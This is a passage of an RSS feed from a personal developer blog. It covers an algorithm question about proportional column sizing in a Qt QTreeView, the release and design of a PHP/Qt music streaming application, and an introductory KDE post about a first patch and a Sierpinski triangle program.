			<content:encoded><![CDATA[<p>Here&#8217;s a curious problem I&#8217;ve come across: There are N columns in a table of width W, with each column having content that requires a maximum width of M<sub>1</sub>, M<sub>2</sub>, M<sub>3</sub>, &#8230; , M<sub>N</sub>, where M<sub>1</sub> + M<sub>2</sub> + M<sub>3</sub> + &#8230; + M<sub>N</sub> &gt; W. Find an optimal size, O<sub>1</sub>, O<sub>2</sub>, O<sub>3</sub>, &#8230; , O<sub>N</sub>, for all columns in the table, where O<sub>1</sub> + O<sub>2</sub> + O<sub>3</sub> + &#8230; + O<sub>N</sub> = W, and where for all i between 1 and N, O<sub>i</sub> / W &le; R, where R is an arbitrary ratio less than 1 and greater than 0. That is to say, optimally sized means each O<sub>i</sub> / W = min(R, M<sub>i</sub> / (M<sub>1</sub> + M<sub>2</sub> + M<sub>3</sub> + &#8230; + M<sub>N</sub>)), but when the min function chooses its first argument, the extra space, ([second argument] &#8211; [first argument]) * W, needs to be proportionally distributed to the remaining O<sub>j</sub>, where j is between 1 and N and does not equal i, and where &#8220;proportionally&#8221; means related to the proportions of M<sub>j</sub> / (M<sub>1</sub> + M<sub>2</sub> + M<sub>3</sub> + &#8230; + M<sub>N</sub>). However, proportionally distributing this excess to the remaining columns may push a remaining column&#8217;s ratio over R, which means some of that excess might further have to be redistributed.</p>
<p>The iterative approach to this problem is easy, but I am interested in determining a non-iterative solution to finding all of the O<sub>i</sub>, where I simply have a formula O<sub>i</sub> = [yada yada yada].</p>
<p>Here&#8217;s code for the iterative solution when applied to columns of a <a  href="http://doc.trolltech.com/4.4/qtreeview.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/4.4/qtreeview.html?referer=');">QTreeView</a>, with N = 3 and R = .42, which is derived from my <a href="http://git.zx2c4.com/?p=zmusicplayer.git;a=blob;f=AutoSizingList.cpp" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zmusicplayer.git_a=blob_f=AutoSizingList.cpp&amp;referer=');">AutoSizingList class</a> of <a href="http://blog.zx2c4.com/14">ZMusicPlayer</a>. It uses QTreeView&#8217;s <a href="http://doc.trolltech.com/4.4/qtreeview.html#sizeHintForColumn" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/4.4/qtreeview.html_sizeHintForColumn?referer=');">sizeHintForColumn</a> to determine M<sub>i</sub>.<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2008/11/autosizelist.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2008/11/autosizelist.jpg" title="AutoSizingList" width="500" height="578" class="aligncenter size-full wp-image-40" /></a><br />
So essentially, the problem is that the do-while on lines 18 and 41 should be eliminated. It is required in the first place because when proportionally redistributing the difference between the arguments of the min function (outlined in the first paragraph), the ratios of the columns receiving this extra width may exceed R, which means another iteration must be done to readjust. Anyone have a non-iterative solution? Also, to the Qt experts out there, why is the hack required on line 49?</p>
<p>I am interested both in a practical Qt approach and a mathematical approach, the latter being more interesting. Doesn&#8217;t this seem like functionality that aught to already be a part of Qt?</p>
<p><i><b>Update:</b> A conversation with a friend over AIM has produced a plain-English explanation in the form of a dialogue of the above problem.</i></p>
<div style="font-size: 7pt; font-family: monospace;">Jason: so you&#8217;re drawing a table<br />
Jason: on a piece of paper<br />
Jason: making all the lines and rows<br />
Jason: so this table happens to have 3 columns<br />
Jason: and a bunch of rows<br />
Jason: make sense?<br />
Pasternak: yes<br />
Jason: ok<br />
Jason: now each cell of the table is supposed to have some information in it<br />
Jason: different length information takes up more width in the table<br />
Jason: Rob Pasternak takes up more room than Yi Chan, for example<br />
Jason: it&#8217;s wider<br />
Jason: it has more characters<br />
Jason: right?<br />
Pasternak: yes<br />
Jason: now say that the biggest piece of data in the first column requires a width M1, the biggest in the second column requires a width M2, and in the third, M3<br />
Jason: Rob Pasternak, Yi Chan, and Salvadora Manello Envelopa Dali<br />
Jason: are the biggest pieces of data for each of the three columns respectively<br />
Pasternak: ok<br />
Jason: now let&#8217;s say you&#8217;re writing down your table on a napkin<br />
Jason: so you can only make it a certain width<br />
Jason: because the napkin is small<br />
Jason: and you&#8217;re bad at writing with tiny handwriting<br />
Pasternak: ok<br />
Jason: so you think to yourself &#8220;well, i will just make each column have its width be in the same proportion to the tiny width of the entire table as if i had tons of room to draw the table and was able to make each column have the width equal to the column&#8217;s biggest name&#8221;<br />
Jason: make sense?<br />
Pasternak: ok<br />
Pasternak: yes<br />
Jason: so a simple equation for finding how big each column would be would just to do this<br />
Jason: column1 = ( M1 / (M1 + M2 + M3) ) * tinyNapkinWidth<br />
Jason: right?<br />
Jason: and similarly for columns 2 and 3<br />
Pasternak: yeah<br />
Jason: ok so lets say you do that and then you notice that<br />
Jason: Salvadora Manello Envelopa Dali is taking up way too much space on the table<br />
Jason: so much so that the other two columns are too tiny to show any relevant information<br />
Pasternak: but i thought you said<br />
Pasternak: because each of those were the maximum<br />
Pasternak: oh wait<br />
Pasternak: i gotcha<br />
Pasternak: cause the napkin is too small to make Chan visible at the right proportions<br />
Jason: yeah<br />
Jason: even though it&#8217;s all perfectly proportioned,<br />
Pasternak: yeah<br />
Jason: Salvadora Manello Envelopa Dali is just so big that<br />
Jason: he makes Chan tiny<br />
Jason: so you think to yourself<br />
Jason: &#8220;how about i impose a maximum ratio each column may take up. I hereby declare that no column may use more than 40% of the entire width!&#8221;<br />
Jason: so, you apply the first process of column1 = ( M1 / (M1 + M2 + M3) ) * tinyNapkinWidth etc<br />
Jason: but then you say something like<br />
Jason: &#8220;if column1 is greater than 40% of tinyNapkinWidth, make column1 equal to 40% of tinyNapkinWidth&#8221;<br />
Jason: with me?<br />
Pasternak: yes<br />
Jason: so then what are you going to do with that excess width you cut off of column1?<br />
Jason: it has to go somewhere<br />
Jason: since we want to use all of the napkin width<br />
Jason: so you distribute it to the other two columns proportionally<br />
Jason: not half to one and half to the other, but in a proportion equal to the amount of data they contain<br />
Jason: seem reasonable?<br />
Pasternak: yeah but then one of them could go over 40<br />
Jason: exactly!<br />
Jason: that&#8217;s the problem<br />
Jason: so then you do the process all over again<br />
Jason: asking &#8220;does any column exceed 40%?&#8221;<br />
Jason: over and over until it&#8217;s perfect<br />
Jason: this is the iterative method<br />
Jason: i want to figure out an expression of column1,2,3 that is as simple as our original one of &#8220;column1 = ( M1 / (M1 + M2 + M3) ) * tinyNapkinWidth&#8221; but that takes into consideration our 40% restriction<br />
Jason: and doesn&#8217;t rely on iteration<br />
Pasternak: for any number of columns i assume<br />
Jason: yeah<br />
Jason: right</div>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/35#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=35" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/35/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>ZX2C4 Music 0.1 Release</title>
		<link>http://blog.zx2c4.com/33</link>
		<comments>http://blog.zx2c4.com/33#comments</comments>
		<pubDate>Fri, 28 Nov 2008 02:32:04 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ZX2C4 Music]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=33</guid>
		<description><![CDATA[This post is a follow up to Introducing ZX2C4 Music. Update: source code available here. I have just finished generalizing aspects of ZX2C4 Music so that it&#8217;s installable on a variety of different servers. I have no experience with releasing PHP apps to the general public, so I&#8217;d appreciate some feedback on the installation process. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/33#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=33" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><b>This post is a follow up to <a href="http://blog.zx2c4.com/14">Introducing ZX2C4 Music</a>.</b></p>
<p><i>Update: source code available <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">here</a>.</i></p>
<p>I have just finished generalizing aspects of <a href="http://blog.zx2c4.com/14">ZX2C4 Music</a> so that it&#8217;s installable on a variety of different servers. I have no experience with releasing PHP apps to the general public, so I&#8217;d appreciate some feedback on the installation process. You can download the tarball <a href="http://music.zx2c4.com/ZX2C4Music-0.1.tar.gz" onclick="pageTracker._trackPageview('/outgoing/music.zx2c4.com/ZX2C4Music-0.1.tar.gz?referer=');">here</a>. Be sure to read README.txt.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/33#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=33" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/33/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Introducing ZX2C4 Music</title>
		<link>http://blog.zx2c4.com/14</link>
		<comments>http://blog.zx2c4.com/14#comments</comments>
		<pubDate>Sat, 25 Oct 2008 02:24:48 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ZX2C4 Music]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=14</guid>
		<description><![CDATA[Update: source code available here. A few months ago I switched website hosts from Netfirms to Site5, because Site5 had a good deal for a plan with unlimited bandwidth and disk space. The first thing I did was upload my entire music collection. To access all of my music remotely via any internet-connected web browser, [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/14#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=14" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><i>Update: source code available <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">here</a>.</i></p>
<p>A few months ago I switched website hosts from <a href="http://netfirms.com" onclick="pageTracker._trackPageview('/outgoing/netfirms.com?referer=');">Netfirms</a> to <a href="http://www.site5.com/in.php?id=58673" onclick="pageTracker._trackPageview('/outgoing/www.site5.com/in.php?id=58673&amp;referer=');">Site5</a>, because Site5 had a good deal for a plan with unlimited bandwidth and disk space. The first thing I did was upload my entire music collection.</p>
<p>To access all of my music remotely via any internet-connected web browser, I wrote <a href="http://music.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/music.zx2c4.com?referer=');">ZX2C4 Music</a>, which is password protected to avoid <i>the law</i>, but if you&#8217;d like to view <i>the interface</i> just for curiosity, ask me in the comments section, and I&#8217;ll e-mail you a password. It uses PHP/MySQL for managing the music, hashing each file with an sha1, <a href="http://developer.kde.org/~wheeler/taglib.html" onclick="pageTracker._trackPageview('/outgoing/developer.kde.org/_wheeler/taglib.html?referer=');">TagLib</a> for reading tags, and JavaScript/HTML as an interface:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2008/10/zx2c4music.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2008/10/zx2c4music-450x272.jpg" alt="" title="ZX2C4 Music" width="450" height="272" class="aligncenter size-medium wp-image-15" /></a><br />
Search queries are done with AJAX, and playing is done with Flash, if available; otherwise it defaults to browser plug-ins. Soon I should add HTML5&#8242;s <a href="http://www.w3schools.com/tags/html5_audio.asp" onclick="pageTracker._trackPageview('/outgoing/www.w3schools.com/tags/html5_audio.asp?referer=');">&lt;audio&gt; element</a> support. Since Flash only supports MP3, the php backend optionally transcodes non-mp3 songs on the fly by using <a href="http://ffmpeg.mplayerhq.hu/" onclick="pageTracker._trackPageview('/outgoing/ffmpeg.mplayerhq.hu/?referer=');">ffmpeg</a>. Songs can be downloaded in zipped bundles by using the download basket feature. The web interface still needs some work, most notably scrolling-pagination for the song table, but it&#8217;s definitely usable. Many have pointed my attention to <a href="http://ampache.org/" onclick="pageTracker._trackPageview('/outgoing/ampache.org/?referer=');">Ampache</a>, but I found it too big and overwhelming. You can view the source code <a href="http://music.zx2c4.com/source.php" onclick="pageTracker._trackPageview('/outgoing/music.zx2c4.com/source.php?referer=');">here</a>.</p>
<p>Of course, the next step was writing a Qt or KDE application that interfaces directly with the web backend using <a href="http://en.wikipedia.org/wiki/Phonon_(KDE)" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Phonon_KDE?referer=');">Phonon</a>. Meet <a href="http://music.zx2c4.com/desktop" onclick="pageTracker._trackPageview('/outgoing/music.zx2c4.com/desktop?referer=');">ZMusicPlayer</a>:<br />
<a href="http://music.zx2c4.com/desktop" onclick="pageTracker._trackPageview('/outgoing/music.zx2c4.com/desktop?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2008/10/zmusicplayer_streaming.png" alt="" title="ZMusicPlayer" width="500" height="463" class="aligncenter size-full wp-image-16" /></a><br />
It downloads and displays a compressed and sorted xml listing of all the songs and their sha1s. The columns of the list automatically size optimally using an <a href="http://git.zx2c4.com/?p=zmusicplayer.git;a=blob;f=AutoSizingList.cpp;hb=HEAD" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zmusicplayer.git_a=blob_f=AutoSizingList.cpp_hb=HEAD&amp;referer=');">awesome algorithm</a> that still needs some tweaking (why is subtracting 40 required on line 87?). Suggestions?</p>
<p>It plays the songs by passing the appropriate QUrl to Phonon, and this is where the trouble begins. The xine backend on KDE 4.1.2 just skips one song to another most of the time, and when it does miraculously play, seeking (via HTTP partial requests) is unavailable. The headers for each of the server responses for song file requests provide the appropriate parameters for HTTP seeking. Maybe this has already been fixed in trunk, but if not, I aught to investigate the problem as soon as I switch my 4.1.2 desktop completely to trunk. GStreamer with Qt 4.4 allows for proper streaming if a GStreamer HTTP plug-in is installed (gst-plugins-good includes a wrapper plugin for libsoup, which works, for those who don&#8217;t want to install the gnome vfs plugin), which is understandable. However, seeking only works for mp3 files; m4a files play but cannot seek, even though the pertinent response headers are the same for both file types. On the Windows backend, the seeking situation is hopeless, and on the OS X backend, songs do not play at all. Also, xine is the only one that emits the proper buffering signals. On some setups though, some of these problems go away. I still need to do some more thorough debugging.</p>
<p>If you&#8217;d like to download and build ZMusicPlayer, you can <a href="http://git.zx2c4.com/?p=zmusicplayer.git;a=tree" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zmusicplayer.git_a=tree&amp;referer=');">browse</a> the source, clone the repository with <code>git clone http://git.zx2c4.com/zmusicplayer.git</code>, or download a <a href="http://git.zx2c4.com/?p=zmusicplayer.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zmusicplayer.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">tarball</a>. Depending on your package setup, you may have to tinker with the includes for the phonon headers. I&#8217;d love to hear some suggestions, so leave comments below. Once I stabilize the Qt code, I&#8217;d like to develop some optional KDE extensions, particularly integration with the KDE&#8217;s keyboard shortcuts.</p>
<p>Also: I&#8217;ve switched from blogging on kdedevelopers.org to my own WordPress blog so that anyone can post comments without requiring an approved account. So, comment away. If you wanted to comment on my first post, but were unable to, you can now comment <a href="http://blog.zx2c4.com/4#comments">here</a>. To comment on this post, use the link below.</p>
<p><b>Update Oct 25, 3:31pm</b>: Several of you have e-mailed me to say that the browser hangs when loading a unfiltered giant collection. This is indeed the case, as no current browser is able to write 10,000 rows to a table in a reasonable amount of time. This is why above I speak of &#8220;scrolling-pagination&#8221;, which means that the table would load 100 or so rows at a time, and then auto-populate the remaining rows in 100 row increments every time the user scrolled to near the end. </p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/14#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=14" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/14/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>That large mass has a tractor beam! That&#8217;s not a planet&#8230; that&#8217;s a deathsta&#8211;. Oh, that&#8217;s planetKDE.</title>
		<link>http://blog.zx2c4.com/4</link>
		<comments>http://blog.zx2c4.com/4#comments</comments>
		<pubDate>Fri, 24 Oct 2008 04:42:03 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;ve been watching the development of KDE for a while, submitting bug reports and testing trunk, and last night I made my first patch. I received an svn account and decided to start working on Amarok 2, for which I&#8217;m currently fixing this bug. But I also intend to work on other areas of KDE, [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/4#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=4" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been watching the development of KDE for a while, submitting bug reports and testing trunk, and last night I made my first <a href="http://websvn.kde.org/?view=rev&amp;revision=875009" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/?view=rev_amp_revision=875009&amp;referer=');">patch</a>. I received an svn account and decided to start working on Amarok 2, for which I&#8217;m currently fixing <a href="https://bugs.kde.org/show_bug.cgi?id=173341" onclick="pageTracker._trackPageview('/outgoing/bugs.kde.org/show_bug.cgi?id=173341&amp;referer=');">this bug</a>. But I also intend to work on other areas of KDE, after I poke around for a while and learn the general layout of the project. Suggestions? To begin, I think I might start investigating <a href="http://bugs.kde.org/show_bug.cgi?id=168154" onclick="pageTracker._trackPageview('/outgoing/bugs.kde.org/show_bug.cgi?id=168154&amp;referer=');">this bug</a>. I also work on the <a href="http://www.arora-browser.org" onclick="pageTracker._trackPageview('/outgoing/www.arora-browser.org?referer=');">Arora Browser</a>.</p>
<p>Speaking of projects, to learn more about Qt&#8217;s painting system, I wrote a program that generates the <a href="http://en.wikipedia.org/wiki/Sierpi%C5%84ski_triangle" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Sierpi_C5_84ski_triangle?referer=');">Sierpiński triangle</a> using a <a href="http://en.wikipedia.org/wiki/Chaos_game" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Chaos_game?referer=');">chaos game</a>. Pick three vertices of a triangle. Plot a point at random inside that triangle. Choose a vertex of the triangle at random and plot the midpoint between the chosen vertex and the previous point plotted. Repeat this ad infinitum and you get:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2008/10/fractal.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2008/10/fractal-450x441.jpg" alt="" title="Triangle Fractal Chaos Screenshot" width="450" height="441" class="aligncenter size-medium wp-image-9" /></a><br />
I don&#8217;t think that I&#8217;ve implemented the drawing in the most ideal way, so please leave suggestions. I opted to use a QImage instead of a QPainter, and then just fill pixels and scale. You can <a href="http://git.zx2c4.com/?p=trianglefractalchaos.git;a=tree" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=trianglefractalchaos.git_a=tree&amp;referer=');">browse</a> the source, checkout the repository with <code>git clone http://git.zx2c4.com/trianglefractalchaos.git</code>, or download a <a href="http://git.zx2c4.com/?p=trianglefractalchaos.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=trianglefractalchaos.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">tarball</a>.</p>
<p>Currently I&#8217;m running 4.1.2, but I plan to switch completely over to trunk in the next few weeks. Here&#8217;s my default clean desktop:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2008/10/desktop_with_notes.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2008/10/desktop_with_notes-450x281.png" alt="" title="Default KDE Desktop with Notes" width="450" height="281" class="aligncenter size-medium wp-image-10" /></a><br />
The large note on the left is about a few ideas for a shared-server-plan based file sharing mini-network. Maybe I&#8217;ll say more on this another time if I end up implementing it.</p>
<p>Hello planetKDE.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/4#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=4" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/4/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

